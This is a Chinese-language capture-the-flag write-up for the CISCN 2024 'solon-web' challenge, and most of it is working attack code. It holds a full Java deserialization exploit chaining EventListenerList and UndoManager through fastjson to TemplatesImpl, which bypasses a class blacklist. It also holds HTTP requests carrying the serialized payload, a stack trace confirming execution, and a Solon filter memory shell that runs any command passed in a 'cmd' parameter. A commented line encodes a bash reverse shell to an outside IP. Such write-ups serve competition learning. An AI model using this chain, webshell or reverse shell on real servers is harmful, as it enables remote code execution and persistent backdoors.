CISCN 2024 final solon-web
jerem1ah Lv4

[CISCN 2024 final] solon-web

8.16前言

不行,还是解不出来,太难受啦!眼看就要下班时间了,为了之后顺利进行衔接,我把当前的进度和思路给写下来。

首先是附件环境,可以直接把附件添加为library然后查看源码,然后运行配置,选择jar就可以了。

然后就是我自己的solon环境,我把附件的jar解压了,拿出了里面的lib添加到这了,这样子就可以看了。然后就是目前已经实现了内存马,但是还没找到入口点,应该是得用TemplatesImpl加载内存马字节码的。然后就是现在map和ctx.body那部分也绕过去了,用bp发包就ok,噢对了还是把那个记下来把,以后省的再抓了,。然后就是复现了一边二次反序列化,SignObject这个函数可以直接包裹一个可反序列化的对象来绕过黑名单的限制,应该可以排上用场。然后就是badAttribut…这个函数,是调用toString的,之前比赛的payload都是含有POJOnode,来衔接toString到getter的,现在没有了jackson这个模块,所以POJOnode没法使用了。TemplatesImpl感觉是一定得用的,不需要transform而是调用他的一个get函数。现在就是如果能在fastjson里面找到一个入口点是toString而出口点是getter的函数就好了,但是没有。

image-20240831091705633

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
POST /api HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Content-Type: application/json
Content-Length: 168

{"data":"rO0ABXNyABVjb20uZXhhbXBsZS5kZW1vLlVzZXLGkHyPz9q6PgIAAkwABGluZm90AA9MamF2YS91dGlsL01hcDtMAARuYW1ldAASTGphdmEvbGFuZy9TdHJpbmc7eHBwdAACbGk="}
{
"data2":"1234
}

8.18周日,该睡觉了突然想看看java,于是接着周五的solon搜了搜,搜到了https://xz.aliyun.com/t/15273?time__1311=GqjxnD0D2DRDcDIx05bfDy0GGC93nFxmwpD,虽然就是那个pdf,但是里面多了几句前言,就给我点明了思路。打fastjson原生反序泪花!

10.15前言:

之前一直没思路,过滤了BadAttributeValueExpException就不会了。就差一个反序列化入口到toString,然后在看aliyunctf2024 chain17时,发现这里放出了一个新的链子,就是EventListenerList来触发toString的新链子。用引用类型绕过fastjson原生反序列化。不过还是有点不明白,是不是也存在getter调用不稳定性的问题。本来想着直接用jackson那样处理,但是没有spring boot的环境,没办法,就这样盲试吧。

10.15成功exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
package com.example.demo;

import com.alibaba.fastjson.JSONArray;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.*;


import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import java.util.Vector;

public class final_exp {

public static byte[] getTemplates() throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass template = pool.makeClass("MyTemplate");
template.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
// String block = "Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8zOS4xMDUuNTEuMTEvNzc3OSAwPiYx}|{base64,-d}|{bash,-i}\");";
String block = "Runtime.getRuntime().exec(\"calc\");";
template.makeClassInitializer().insertBefore(block);
return template.toBytecode();
}
public static void setFieldValue(Object obj, String field, Object val) throws Exception{
Field dField = obj.getClass().getDeclaredField(field);
dField.setAccessible(true);
dField.set(obj, val);
}
public static void ser(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.bin"));
objectOutputStream.writeObject(obj);
objectOutputStream.close();
}
public static void unser() throws IOException, ClassNotFoundException {
ObjectInputStream in = new ObjectInputStream(Files.newInputStream(Paths.get("test.bin")));
in.readObject();
}
public static Field getField ( final Class<?> clazz, final String fieldName ) throws Exception {
try {
Field field = clazz.getDeclaredField(fieldName);
if ( field != null )
field.setAccessible(true);
else if ( clazz.getSuperclass() != null )
field = getField(clazz.getSuperclass(), fieldName);

return field;
}
catch ( NoSuchFieldException e ) {
if ( !clazz.getSuperclass().equals(Object.class) ) {
return getField(clazz.getSuperclass(), fieldName);
}
throw e;
}
}
public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
return field.get(obj);
}

public static void main(String[] args) throws Exception{


byte[] code = getTemplates();//用javassist获取
byte[][] codes = {code};

TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "useless");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates, "_bytecodes", codes);

// okk
// templates.getOutputProperties();

ArrayList<Object> arrayList = new ArrayList<>();
arrayList.add(templates);

JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);
// okk
// jsonArray.toString();

EventListenerList eventListenerList = new EventListenerList();
UndoManager undoManager = new UndoManager();
Vector vector = (Vector) getFieldValue(undoManager, "edits");
vector.add(jsonArray);
setFieldValue(eventListenerList, "listenerList", new Object[]{InternalError.class, undoManager});

arrayList.add(eventListenerList);

// okk
// ser(arrayList);
// unser();


HashMap hashMap = new HashMap();
hashMap.put(arrayList,"123");

User user = new User();
user.setInfo(hashMap);

String str = deserialize(user);
User obj = (User)undeserialize(str);
String test = obj.getName();

}
static String deserialize(Object obj) throws Exception{
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream outer = new ObjectOutputStream(out);
outer.writeObject(obj);
byte[] result = out.toByteArray();
String result_base64 = Base64.getEncoder().encodeToString(result);
System.out.println(result_base64);

return result_base64;
}

static Object undeserialize(String data) throws Exception {
byte[] decode = Base64.getDecoder().decode(data);
System.out.println(decode);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(decode)) {
boolean check = false;

protected Class resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
Class targetc = super.resolveClass(desc);
if (!this.check && !User.class.isAssignableFrom(targetc)) {
throw new IllegalArgumentException("HackerClass:" + targetc);
} else if (BadAttributeValueExpException.class.isAssignableFrom(targetc)) {
throw new IllegalArgumentException("HackerClass:" + targetc);
} else {
this.check = true;
return targetc;
}
}
};
// ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(decode));
System.out.println("123123");
return ois.readObject();
}
}

10.15成功poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
POST /api HTTP/1.1
Host: 127.0.0.1:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Content-Type: application/json
Content-Length: 2176

{"data":"rO0ABXNyABVjb20uZXhhbXBsZS5kZW1vLlVzZXLGkHyPz9q6PgIAAkwABGluZm90AA9MamF2YS91dGlsL01hcDtMAARuYW1ldAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAMdwgAAAAQAAAAAXNyABNqYXZhLnV0aWwuQXJyYXlMaXN0eIHSHZnHYZ0DAAFJAARzaXpleHAAAAACdwQAAAACc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0/BbqyrMwMABkkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFsACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3N0ABJbTGphdmEvbGFuZy9DbGFzcztMAAVfbmFtZXEAfgACTAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHAAAAAA/////3VyAANbW0JL/RkVZ2fbNwIAAHhwAAAAAXVyAAJbQqzzF/gGCFTgAgAAeHAAAAGkyv66vgAAADQAGwEACk15VGVtcGxhdGUHAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQAKU291cmNlRmlsZQEAD015VGVtcGxhdGUuamF2YQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHAAcBAAg8Y2xpbml0PgEAAygpVgEABENvZGUBABFqYXZhL2xhbmcvUnVudGltZQcADAEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMAA4ADwoADQAQAQAEY2FsYwgAEgEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMABQAFQoADQAWAQAGPGluaXQ+DAAYAAoKAAgAGQAhAAIACAAAAAAAAgAIAAkACgABAAsAAAAWAAIAAAAAAAq4ABESE7YAF1exAAAAAAABABgACgABAAsAAAARAAEAAQAAAAUqtwAasQAAAAAAAQAFAAAAAgAGcHQAB3VzZWxlc3NwdwEAeHNyACNqYXZheC5zd2luZy5ldmVudC5FdmVudExpc3RlbmVyTGlzdLE2xn2E6tZEAwAAeHB0ABdqYXZhLmxhbmcuSW50ZXJuYWxFcnJvcnNyABxqYXZheC5zd2luZy51bmRvLlVuZG9NYW5hZ2Vy4ysheUxxykICAAJJAA5pbmRleE9mTmV4dEFkZEkABWxpbWl0eHIAHWphdmF4LnN3aW5nLnVuZG8uQ29tcG91bmRFZGl0pZ5QulPblf0CAAJaAAppblByb2dyZXNzTAAFZWRpdHN0ABJMamF2YS91dGlsL1ZlY3Rvcjt4cgAlamF2YXguc3dpbmcudW5kby5BYnN0cmFjdFVuZG9hYmxlRWRpdAgNG47tAgsQAgACWgAFYWxpdmVaAAtoYXNCZWVuRG9uZXhwAQEBc3IAEGphdmEudXRpbC5WZWN0b3LZl31bgDuvAQMAA0kAEWNhcGFjaXR5SW5jcmVtZW50SQAMZWxlbWVudENvdW50WwALZWxlbWVudERhdGF0ABNbTGphdmEvbGFuZy9PYmplY3Q7eHAAAAAAAAAAAXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAGRzcgAeY29tLmFsaWJhYmEuZmFzdGpzb24uSlNPTkFycmF5AAAAAAAAAAECAAFMAARsaXN0dAAQTGphdmEvdXRpbC9MaXN0O3hwc3EAfgAGAAAAAXcEAAAAAXEAfgAMeHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHgAAAAAAAAAZHB4eHQAAzEyM3hw"}
{
"data2":"1234
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
HTTP/1.1 500 Internal Server Error
Content-Type:text/plain;charset=UTF-8
Server:smart-http
Date:Tue, 15 Oct 2024 19:25:49 CST
Content-Length: 6852

java.lang.NullPointerException
at com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet.postInitialization(AbstractTranslet.java:372)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance(TemplatesImpl.java:456)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:486)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties(TemplatesImpl.java:507)
at com.alibaba.fastjson.serializer.ASMSerializer_1_TemplatesImpl.write(Unknown Source)
at com.alibaba.fastjson.serializer.ListSerializer.write(ListSerializer.java:135)
at com.alibaba.fastjson.serializer.JSONSerializer.write(JSONSerializer.java:312)
at com.alibaba.fastjson.JSON.toJSONString(JSON.java:1077)
at com.alibaba.fastjson.JSON.toString(JSON.java:1071)
at java.lang.String.valueOf(String.java:2994)
at java.lang.StringBuilder.append(StringBuilder.java:131)
at java.util.AbstractCollection.toString(AbstractCollection.java:462)
at java.util.Vector.toString(Vector.java:1000)
at java.lang.String.valueOf(String.java:2994)
at java.lang.StringBuilder.append(StringBuilder.java:131)
at javax.swing.undo.CompoundEdit.toString(CompoundEdit.java:258)
at javax.swing.undo.UndoManager.toString(UndoManager.java:621)
at java.lang.String.valueOf(String.java:2994)
at java.lang.StringBuilder.append(StringBuilder.java:131)
at javax.swing.event.EventListenerList.add(EventListenerList.java:187)
at javax.swing.event.EventListenerList.readObject(EventListenerList.java:277)
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:497)
at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1058)
at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1900)
at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1801)
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1351)
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:371)
at java.util.ArrayList.readObject(ArrayList.java:791)
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:497)
at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1058)
at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1900)
at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1801)
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1351)
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:371)
at java.util.HashMap.readObject(HashMap.java:1394)
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:497)
at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1058)
at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1900)
at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1801)
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1351)
at java.io.ObjectInputStream.defaultReadFields(ObjectInputStream.java:2000)
at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1924)
at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1801)
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1351)
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:371)
at com.example.demo.DemoController.deserialize(DemoController.java:87)
at com.example.demo.DemoController.api(DemoController.java:62)
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:497)
at org.noear.solon.core.wrap.MethodWrap.invoke(MethodWrap.java:243)
at org.noear.solon.core.wrap.MethodWrap.doIntercept(MethodWrap.java:232)
at org.noear.solon.core.aspect.InterceptorEntity.doIntercept(InterceptorEntity.java:40)
at org.noear.solon.core.aspect.Invocation.invoke(Invocation.java:100)
at org.noear.solon.core.wrap.MethodWrap.invokeByAspect(MethodWrap.java:258)
at org.noear.solon.core.mvc.ActionExecuteHandlerDefault.executeHandle(ActionExecuteHandlerDefault.java:47)
at org.noear.solon.core.mvc.ActionDefault.executeDo(ActionDefault.java:349)
at org.noear.solon.core.mvc.ActionDefault.invoke0(ActionDefault.java:287)
at org.noear.solon.core.mvc.ActionDefault.invoke(ActionDefault.java:234)
at org.noear.solon.core.mvc.ActionDefault.handle(ActionDefault.java:215)
at org.noear.solon.core.route.RouterHandler.handleMain(RouterHandler.java:34)
at org.noear.solon.core.route.RouterHandler.handleDo(RouterHandler.java:71)
at org.noear.solon.core.route.RouterHandler.doIntercept(RouterHandler.java:25)
at org.noear.solon.core.route.RouterInterceptorLimiter.doIntercept(RouterInterceptorLimiter.java:47)
at org.noear.solon.core.route.RouterInterceptorChainImpl.doIntercept(RouterInterceptorChainImpl.java:27)
at org.noear.solon.core.ChainManager.doIntercept(ChainManager.java:177)
at org.noear.solon.core.route.RouterHandler.handle(RouterHandler.java:100)
at org.noear.solon.core.handle.HandlerPipeline.handle(HandlerPipeline.java:38)
at org.noear.solon.SolonApp.doFilter(SolonApp.java:496)
at org.noear.solon.core.handle.FilterChainImpl.doFilter(FilterChainImpl.java:24)
at org.noear.solon.logging.integration.XPluginImp.lambda$start$1(XPluginImp.java:54)
at org.noear.solon.core.handle.FilterChainImpl.doFilter(FilterChainImpl.java:24)
at org.noear.solon.core.ChainManager.doFilter(ChainManager.java:84)
at org.noear.solon.SolonApp.tryHandle(SolonApp.java:438)
at org.noear.solon.boot.smarthttp.http.SmHttpContextHandler.handleDo(SmHttpContextHandler.java:113)
at org.noear.solon.boot.smarthttp.http.SmHttpContextHandler.handle0(SmHttpContextHandler.java:89)
at org.noear.solon.boot.smarthttp.http.SmHttpContextHandler.lambda$handle$0(SmHttpContextHandler.java:74)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
at java.lang.Thread.run(Thread.java:745)

10.15成功内存马:

FilterMemshell.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
package com.example.demo;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.noear.solon.core.ChainManager;
import org.noear.solon.core.handle.Context;
import org.noear.solon.core.handle.Filter;
import org.noear.solon.core.handle.FilterChain;

import java.lang.reflect.Field;


public class FilterMemshell extends AbstractTranslet implements Filter {
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
static {
try{
Context ctx = Context.current();
Object obj = ctx.request();

Field field = obj.getClass().getSuperclass().getDeclaredField("request");
field.setAccessible(true);
obj = field.get(obj);

field = obj.getClass().getDeclaredField("serverHandler");
field.setAccessible(true);
obj = field.get(obj);

field = obj.getClass().getDeclaredField("handler");
field.setAccessible(true);
obj = field.get(obj);

field = obj.getClass().getDeclaredField("arg$1");
field.setAccessible(true);
obj = field.get(obj);

field = obj.getClass().getSuperclass().getDeclaredField("_chainManager");
field.setAccessible(true);
obj = field.get(obj);

ChainManager chainManager = (ChainManager) obj;
chainManager.addFilter(new FilterMemshell(), 0);


}catch (Exception e){
e.printStackTrace();
}
}
@Override
public void doFilter(Context ctx, FilterChain chain) throws Throwable{
try{
if(ctx.param("cmd")!=null){
String str = ctx.param("cmd");
try{
String[] cmds =
System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"cmd.exe",
"/c", str} : new String[]{"/bin/bash", "-c", str};
String output = (new java.util.Scanner((new
ProcessBuilder(cmds)).start().getInputStream())).useDelimiter("\\A").next();
ctx.output(output);
}catch (Exception e) {
e.printStackTrace();
}
}
}catch (Throwable e){
System.out.println("异常:"+e.getMessage()) ;
}
chain.doFilter(ctx);
}
}

exp只需要改为:

1
setFieldValue(templates, "_bytecodes", new byte[][]{ClassPool.getDefault().get(FilterMemshell.class.getName()).toBytecode()});

image-20241015200635220

 Comments